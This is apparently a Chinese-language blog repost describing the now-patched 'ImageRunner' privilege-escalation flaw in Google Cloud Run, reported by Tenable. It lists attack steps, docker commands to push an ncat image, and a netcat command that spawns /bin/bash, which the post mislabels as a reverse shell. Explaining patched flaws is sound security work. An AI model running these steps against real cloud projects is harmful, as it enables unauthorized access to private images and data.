ImageRunner漏洞:Google Cloud Run中的权限提升漏洞

什么是Cloud Run、Container Registry和Artifact Registry?

  • Cloud Run:一个完全托管的服务,用于在无服务器环境中运行容器化应用程序。它处理基础设施、扩展和执行环境,让你无需担心底层系统即可运行应用程序。
  • Container Registry:一个较老的服务,用于存储和管理容器镜像。自2025年3月18日起已被Artifact Registry取代。
  • Artifact Registry:下一代解决方案,支持多种类型的工件(包括Maven和npm包),提供更广泛的功能。

ImageRunner漏洞详细信息

漏洞概述:该漏洞允许攻击者利用Cloud Run修订版的编辑权限,访问同一项目中的私有容器镜像,即使他们没有相应的注册表权限。

攻击方法

  1. 获取必要权限 :攻击者需要run.services.updateiam.serviceAccounts.actAs权限。
  2. 更新Cloud Run服务:攻击者可以更新Cloud Run服务并创建一个新修订版。
  3. 指定私有镜像:在更新过程中,攻击者可以指定任何私有容器镜像作为新修订版的基础镜像。
  4. 注入恶意指令:攻击者可以通过添加命令或参数来注入恶意指令,例如使用Netcat(ncat)镜像建立反向连接,获取镜像内容或敏感数据。

示例代码和步骤

步骤1:拉取和推送ncat镜像

bash 复制代码
docker pull raesene/ncat
gcloud auth login
gcloud auth configure-docker
docker tag raesene/ncat gcr.io/{project-name}/ncat:latest
docker push gcr.io/{project-name}/ncat:latest

步骤2:更新Cloud Run服务

  • 使用具有run.services.updateiam.serviceAccounts.actAs权限的身份。
  • 更新Cloud Run服务并创建新修订版。
  • 指定私有镜像(例如gcr.io/{project-name}/ncat:latest)。

步骤3:注入恶意指令

  • 在容器参数中添加恶意指令,例如:

    bash 复制代码
    nc -lnvp {port} -e /bin/bash

    这将在攻击者机器上建立一个反向shell。

修复措施

Google已修复此漏洞,确保创建或更新Cloud Run资源的用户或服务账户必须具有显式的容器镜像访问权限。对于Artifact Registry,需要Artifact Registry Reader角色。

Jenga概念

ImageRunner是Tenable Research提出的"Jenga"概念的一个例子,指出云服务之间的依赖关系可能导致新的漏洞和风险。

相关推荐
昵称为空C11 分钟前
Jdk21优雅处理异步任务
java·后端·架构
zhuzhuuuuu26 分钟前
JMM(Java内存模型)
后端
右子33 分钟前
Claude Code:介绍与使用教程
前端·人工智能·后端
注释写满人生36 分钟前
selenium(WEB自动化工具)
后端
2501_9228955840 分钟前
基于SpringBoot和Leaflet集成在线天气服务的区县当前天气WebGIS实战
java·spring boot·后端
天天摸鱼的java工程师1 小时前
Spring事务什么时候会失效?常见业务场景详解与修复方案
java·后端·面试
陈随易1 小时前
盘点微信开发者工具V1和V2的区别
前端·后端·程序员
mortimer1 小时前
PyInstaller打包踩坑记:从静默崩溃到柳暗花明
人工智能·python·github
陈随易1 小时前
ECharts v6.0发布,新布局,新主题,新功能
前端·后端·程序员